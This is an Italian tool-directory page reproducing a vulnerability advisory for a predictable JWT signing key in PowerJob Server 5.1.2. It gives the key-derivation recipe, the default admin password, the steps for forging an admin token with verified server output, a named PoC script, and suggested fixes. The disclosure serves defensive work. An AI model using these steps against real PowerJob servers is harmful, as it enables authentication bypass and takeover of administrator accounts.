Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-75431_PowerJob_jwt_key_predictable — Dimostra una vulnerabilità critica di prevedibilità della chiave di firma JWT in PowerJob Server, consentendo la derivazione offline della chiave e la falsificazione dei token per l'acquisizione dei privilegi di amministratore e il bypass dell'autenticazione OpenAPI. | Kitploit
Strumenti/GitHubGitHub/unpredictable21/cve-2026-75431_powerjob_jwt_key_predictable
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingAutenticazione
GitHubunpredictable21/cve-2026-75431_powerjob_jwt_key_predictable

CVE-2026-75431_PowerJob_jwt_key_predictable

Dimostra una vulnerabilità critica di prevedibilità della chiave di firma JWT in PowerJob Server, consentendo la derivazione offline della chiave e la falsificazione dei token per l'acquisizione dei privilegi di amministratore e il bypass dell'autenticazione OpenAPI.

Vedi Repository
71 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Chiave di Firma JWT di PowerJob Prevedibile (Chiave Derivata dall'URL JDBC Predefinito) → Falsificazione di Token

1. Riepilogo

La chiave di firma JWT (HS256) del server PowerJob è derivata decodificando in BASE64 una costante hardcoded concatenata con l'MD5 dell'URL JDBC predefinito (DefaultSecretProvider / JwtServiceImpl). L'URL JDBC è pubblico nella distribuzione predefinita (docker-compose / application-daily.properties), quindi un attaccante può derivare la chiave completamente offline e falsificare un JWT valido per qualsiasi utente (incluso l'amministratore); l'App Token OpenAPI può essere ugualmente falsificato per bypassare l'autenticazione OpenAPI.

2. Prodotto Interessato

  • Prodotto: PowerJob Server (console web 7700 + OpenAPI)
  • Versioni interessate: 5.1.2
  • Distribuzione predefinita: application-daily.properties espone in chiaro
jdbc:mysql://powerjob-mysql:3306/powerjob-daily?...

3. Posizione della Vulnerabilità

  • powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));
  • powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: costante BASE_SECURITY hardcoded; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyFor
  • La chiave condivide il repository/database con i dati aziendali; l'URL JDBC è in chiaro nella configurazione/docker-compose.

4. Causa Principale

  • Viene utilizzata una chiave prevedibile / derivabile invece di una casuale e persistente: la chiave dipende solo da una costante pubblica + l'MD5 dell'URL predefinito pubblico.
  • Il payload JWT (username/encryptedToken) ha un controllo secondario per gli account PWJB (DigestUtils.rePassword(password, username)), ma:
    • con la password predefinita questo valore è calcolabile offline → compromissione totale dell'amministratore;
    • l'App Token OpenAPI (claims appId/password/encryptType) può essere falsificato direttamente per bypassare l'autenticazione (OpenApiSecurityServiceImpl:87-105);
    • altri account di login di terze parti potrebbero non avere il controllo secondario.

5. Riproduzione (verificata — end-to-end completa)

Ambiente: server PowerJob locale (127.0.0.1:7700, URL JDBC jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true). L'attaccante deriva tutto offline solo da informazioni pubbliche:

root@kitploit:~
# ① Deriva encryptedToken (= rePassword(password, username)); calcolabile con la password predefinita
rePassword("powerjob_admin", "ADMIN")
   = ADMIN_b82a450701f6a71723fb99931fe35e18_b      # byte per byte uguale a DB user_info.token_login_verify_info ✅

# ② Deriva la chiave di firma HS256 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url)             # chiave da 101 byte

# ③ Falsifica un JWT web ADMIN (claims: username=PWJB_ADMIN, encryptedToken=risultato di ①, sub=PowerJob)

Risultato effettivo (il token falsificato supera l'autenticazione):

root@kitploit:~
[*] /namespace/list senza token :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}

[*] /namespace/list JWT falsificato :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}

→ il token falsificato autentica come amministratore e restituisce dati reali (la baseline viene rifiutata con UserNotLoggedIn).

Punti chiave:

  • L'encryptedToken derivato offline corrisponde al valore memorizzato nel DB byte per byte (ADMIN_b82a450701f6a71723fb99931fe35e18_b).
  • La chiave è determinata interamente dalla costante pubblica BASE_SECURITY + MD5 dell'URL JDBC predefinito pubblico → derivabile offline senza credenziali.
  • L'encryptedToken PWJB è ricalcolabile offline con la password predefinita (powerjob_admin, finding PJ-02) → compromissione totale dell'amministratore.
  • Se l'amministratore cambia la password, la falsificazione di un token web è bloccata dalla mancata corrispondenza dell'encryptedToken, ma il percorso dell'App Token OpenAPI (claims appId/password/encryptType, OpenApiSecurityServiceImpl:87-105) può comunque essere falsificato in modo indipendente per bypassare l'autenticazione OpenAPI.

Anche se la password predefinita viene cambiata, la vulnerabilità persiste attraverso altri vettori di attacco:

  • Un attaccante che ottiene l'encryptedToken di qualsiasi utente valido con altri mezzi (ad es., SQL injection, esposizione di backup del database, perdita di log o divulgazione di informazioni da altri endpoint) può combinare quel token con la chiave di firma prevedibile per falsificare un JWT per quell'utente specifico.
  • Questo bypassa completamente il problema della mancata corrispondenza dell'encryptedToken, perché il token falsificato ora contiene un encryptedToken legittimo derivato dal record effettivo del database.
  • Di conseguenza, l'attaccante non ha affatto bisogno di conoscere la password in chiaro dell'utente, e il JWT falsificato rimane valido anche dopo che l'utente cambia la propria password (fino alla scadenza del token).

PoC: powerjob_jwt_key.py 192.168.49.128:7700

image
image

6. Impatto

  • Bypass dell'autenticazione / falsificazione di token per utenti arbitrari → superfici di amministrazione della console web / OpenAPI.

7. Correzione Suggerita

  • Generare la chiave in modo casuale e persistente (file/ambiente), mai derivarla dall'URL JDBC o da una costante.
  • Utilizzare una chiave separata per gli App Token OpenAPI rispetto ai JWT web.
  • Applicare il controllo secondario dell'encryptedToken per tutti gli account.

8. CWE / CVSS

  • CWE: CWE-321 (Uso di Chiave Crittografica Hardcoded) / CWE-798
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critico (combinato con la password predefinita / OpenAPI)
Scarica lo strumento